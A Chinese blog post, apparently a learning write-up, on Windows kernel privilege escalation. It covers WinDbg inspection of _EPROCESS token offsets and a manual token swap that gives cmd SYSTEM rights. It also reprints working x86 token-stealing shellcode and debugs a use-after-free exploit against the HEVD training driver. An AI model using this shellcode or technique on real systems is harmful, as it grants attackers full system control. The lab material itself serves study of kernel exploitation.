windows kernel初探

学习一下windows kernel

提权原理

类似于linux kernel中进程的特权由cred中uid等值管理,windows kernel在进程管理中有token值决定特权,但是其表示的值,并不像linux中一成不变,例如root权限为0,system权限的值需要我们可以通过查询一些具有system权限例如system进程的token值获得。
这里采用windbg+virtualKD进行双机调试:
通过!dml_proc查看当前进程:

1
2
3
4
5
6
7
8
9
10
11
12
1: kd> !dml_proc
Address PID Image file name
867ee8e8 4 System
8730e920 fc smss.exe
879d08f0 154 csrss.exe
87b96d40 188 wininit.exe
87b9b030 190 csrss.exe
87bd7d40 1d4 winlogon.exe
87bdad40 1e4 services.exe
87c05ad0 20c lsass.exe
87bfdb88 214 lsm.exe
87c4a900 280 svchost.exe

可以看到system进程的pid为4,这个经调试发现是一成不变的,我们后续可以通过这点来编写shellcode,然后我们继续查询进程信息,可以通过dt _EPROCESS 867ee8e8查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
1: kd> dt _EPROCESS 867ee8e8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d655dd`d70e4c0f
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000004 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8730e9d8 - 0x83f4ff18 ]
+0x0c0 ProcessQuotaUsage : [2] 0
+0x0c8 ProcessQuotaPeak : [2] 0
+0x0d0 CommitCharge : 0xc
+0x0d4 QuotaBlock : 0x83f43cc0 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : (null)
+0x0dc PeakVirtualSize : 0x7f1000
+0x0e0 VirtualSize : 0x270000
+0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0ec DebugPort : (null)
+0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x8b201b00 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : (null)
+0x108 ForkInProgress : (null)
+0x10c HardwareTrigger : 0
+0x110 PhysicalVadRoot : 0x868102e0 _MM_AVL_TABLE
+0x114 CloneRoot : (null)
+0x118 NumberOfPrivatePages : 4
+0x11c NumberOfLockedPages : 0x40
+0x120 Win32Process : (null)
+0x124 Job : (null)
+0x128 SectionObject : (null)
+0x12c SectionBaseAddress : (null)
+0x130 Cookie : 0
+0x134 Spare8 : 0
+0x138 WorkingSetWatch : (null)
+0x13c Win32WindowStation : (null)
+0x140 InheritedFromUniqueProcessId : (null)
+0x144 LdtInformation : (null)
+0x148 VdmObjects : (null)
+0x14c ConsoleHostProcess : 0
+0x150 DeviceMap : 0x8b2088d8 Void
+0x154 EtwDataSource : (null)
+0x158 FreeTebHint : 0x7ffe0000 Void
+0x160 PageDirectoryPte : _HARDWARE_PTE_X86
+0x160 Filler : 0
+0x168 Session : (null)
+0x16c ImageFileName : [15] "System"
+0x17b PriorityClass : 0x2 ''
+0x17c JobLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x184 LockedPagesList : (null)
+0x188 ThreadListHead : _LIST_ENTRY [ 0x867ee878 - 0x869d8f70 ]
+0x190 SecurityPort : (null)
+0x194 PaeTop : 0x83f54fc0 Void
+0x198 ActiveThreads : 0x5f
+0x19c ImagePathHash : 0
+0x1a0 DefaultHardErrorProcessing : 1
+0x1a4 LastThreadExitStatus : 0n0
+0x1a8 Peb : (null)
+0x1ac PrefetchTrace : _EX_FAST_REF
+0x1b0 ReadOperationCount : _LARGE_INTEGER 0x98
+0x1b8 WriteOperationCount : _LARGE_INTEGER 0x195
+0x1c0 OtherOperationCount : _LARGE_INTEGER 0x189c
+0x1c8 ReadTransferCount : _LARGE_INTEGER 0x184f8f8
+0x1d0 WriteTransferCount : _LARGE_INTEGER 0x6c8080
+0x1d8 OtherTransferCount : _LARGE_INTEGER 0x751bd
+0x1e0 CommitChargeLimit : 0
+0x1e4 CommitChargePeak : 0x4e
+0x1e8 AweInfo : (null)
+0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f0 Vm : _MMSUPPORT
+0x25c MmProcessLinks : _LIST_ENTRY [ 0x8730eb7c - 0x83f4289c ]
+0x264 HighestUserAddress : (null)
+0x268 ModifiedPageCount : 0x58e44
+0x26c Flags2 : 0x2d800
+0x26c JobNotReallyActive : 0y0
+0x26c AccountingFolded : 0y0
+0x26c NewProcessReported : 0y0
+0x26c ExitProcessReported : 0y0
+0x26c ReportCommitChanges : 0y0
+0x26c LastReportMemory : 0y0
+0x26c ReportPhysicalPageChanges : 0y0
+0x26c HandleTableRundown : 0y0
+0x26c NeedsHandleRundown : 0y0
+0x26c RefTraceEnabled : 0y0
+0x26c NumaAware : 0y0
+0x26c ProtectedProcess : 0y1
+0x26c DefaultPagePriority : 0y101
+0x26c PrimaryTokenFrozen : 0y1
+0x26c ProcessVerifierTarget : 0y0
+0x26c StackRandomizationDisabled : 0y1
+0x26c AffinityPermanent : 0y0
+0x26c AffinityUpdateEnable : 0y0
+0x26c PropagateNode : 0y0
+0x26c ExplicitAffinity : 0y0
+0x270 Flags : 0x14040800
+0x270 CreateReported : 0y0
+0x270 NoDebugInherit : 0y0
+0x270 ProcessExiting : 0y0
+0x270 ProcessDelete : 0y0
+0x270 Wow64SplitPages : 0y0
+0x270 VmDeleted : 0y0
+0x270 OutswapEnabled : 0y0
+0x270 Outswapped : 0y0
+0x270 ForkFailed : 0y0
+0x270 Wow64VaSpace4Gb : 0y0
+0x270 AddressSpaceInitialized : 0y10
+0x270 SetTimerResolution : 0y0
+0x270 BreakOnTermination : 0y0
+0x270 DeprioritizeViews : 0y0
+0x270 WriteWatch : 0y0
+0x270 ProcessInSession : 0y0
+0x270 OverrideAddressSpace : 0y0
+0x270 HasAddressSpace : 0y1
+0x270 LaunchPrefetched : 0y0
+0x270 InjectInpageErrors : 0y0
+0x270 VmTopDown : 0y0
+0x270 ImageNotifyDone : 0y0
+0x270 PdeUpdateNeeded : 0y0
+0x270 VdmAllowed : 0y0
+0x270 CrossSessionCreate : 0y0
+0x270 ProcessInserted : 0y1
+0x270 DefaultIoPriority : 0y010
+0x270 ProcessSelfDelete : 0y0
+0x270 SetTimerResolutionLink : 0y0
+0x274 ExitStatus : 0n259
+0x278 VadRoot : _MM_AVL_TABLE
+0x298 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x2a8 TimerResolutionLink : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x2b0 RequestedTimerResolution : 0
+0x2b4 ActiveThreadsHighWatermark : 0x65
+0x2b8 SmallestTimerResolution : 0
+0x2bc TimerResolutionStackRecord : (null)

其中偏移0xb4的位置为进程的pid,0xb8偏移处的ActiveProcessLinks作为指针指向下一个进程的ActiveProcessLinks处,0xf8为进程的token其类型为_EX_FAST_REF。这里我们为了验证修改进程token可以实现提权,打开一个cmd进程,并将其token改为system进程的token,首先查询system进程token:

1
2
3
4
5
1: kd> dt _EX_FAST_REF 867ee8e8+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x8b201267 Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8b201267

同理,找到cmd进程的token所在位置为8805fa50+f8,使用ed 8805fa50+f8 0x8b201267修改其值,发现提权成功:

shellcode调试

shellcode编写就是通过汇编来实现我们以上的那些操作,从找到system进程的token到将此token覆盖掉当前进程token的这一过程。这部分内容参考thunderj师傅的文章https://thunderjie.github.io/2019/06/28/Windows-Kernel-Exploit/,详细过程可以去看师傅的解析,利用HEVD这个漏洞环境中的uaf漏洞,覆盖结构体中函数指针,从而实现类似于Linux kernel利用这ret2usr的操作来到达用户空间执行我们的shellcode(摘自thunderj师傅):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}

这里我记录一下我的调试shellcode的办法,以免在shellcode执行中出现栈不平衡等问题导致crash,大家可以配合来看。首先为了方便调试我们在windbg中加入hevd的符号:

然后我们就可以找到hevd中的函数,根据UAF漏洞的触发源码里得知是在UseUaFObjectNonPagedPool中由于修改了g_UseAfterFreeObjectNonPagedPool->Callback,我们最终调用了shellcode的执行,所以要在windbg中找到UseUaFObjectNonPagedPool。首先我们加载hevd驱动,找到hevd驱动信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1: kd> lm m HEVD
Browse full module list
start end module name
9454b000 94595000 HEVD (private pdb symbols) d:\hevd.3.00\driver\vulnerable\x86\HEVD.pdb

0: kd> lmDvmHEVD
Browse full module list
start end module name
9454b000 94595000 HEVD (deferred)
Image path: HEVD.sys
Image name: HEVD.sys
Browse all global symbols functions data
Timestamp: Tue Jul 2 20:19:05 2019 (5D1B4BB9)
CheckSum: 0000C477
ImageSize: 0004A000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:

Unable to enumerate user-mode unloaded modules, Win32 error 0n30

点击functions找到UseUaFObjectNonPagedPool函数,并利用bp指令下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0: kd> x /D HEVD!g*
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

9454e018 HEVD!g_ARWHelperObjectNonPagedPoolNx = struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *[65535]
9458e014 HEVD!g_UseAfterFreeObjectNonPagedPool = 0x8693f4c8
9454d050 HEVD!GuardCheckLongJumpTargetImpl = 0x00000000
9458e018 HEVD!g_UseAfterFreeObjectNonPagedPoolNx = 0x00000000
9458fa2c HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
945930ea HEVD!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
9458fa4c HEVD!GetFreeIndex (void)
9458fa6a HEVD!GetIndexFromPointer (void *)
9458f912 HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
0: kd> dt 9458e014
Symbol not found at address 9458e014.

运行程序暂停的断点位置,然后我们找到HEVD!g_UseAfterFreeObjectNonPagedPool变量,查看现在它的值,可以发现已经被我们更改:

1
2
3
4
0: kd> dx -r1 ((HEVD!_USE_AFTER_FREE_NON_PAGED_POOL *)0x8693f4c8)
((HEVD!_USE_AFTER_FREE_NON_PAGED_POOL *)0x8693f4c8) : 0x8693f4c8 [Type: _USE_AFTER_FREE_NON_PAGED_POOL *]
[+0x000] Callback : 0x1341195 [Type: void (*)(...)]
[+0x004] Buffer : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" [Type: char [84]]

可以用uf 0x1341195查看callback里的函数指令,我们在该处下断点就可以调试我们的shellcode了。

.gt-container a{border-bottom: none;}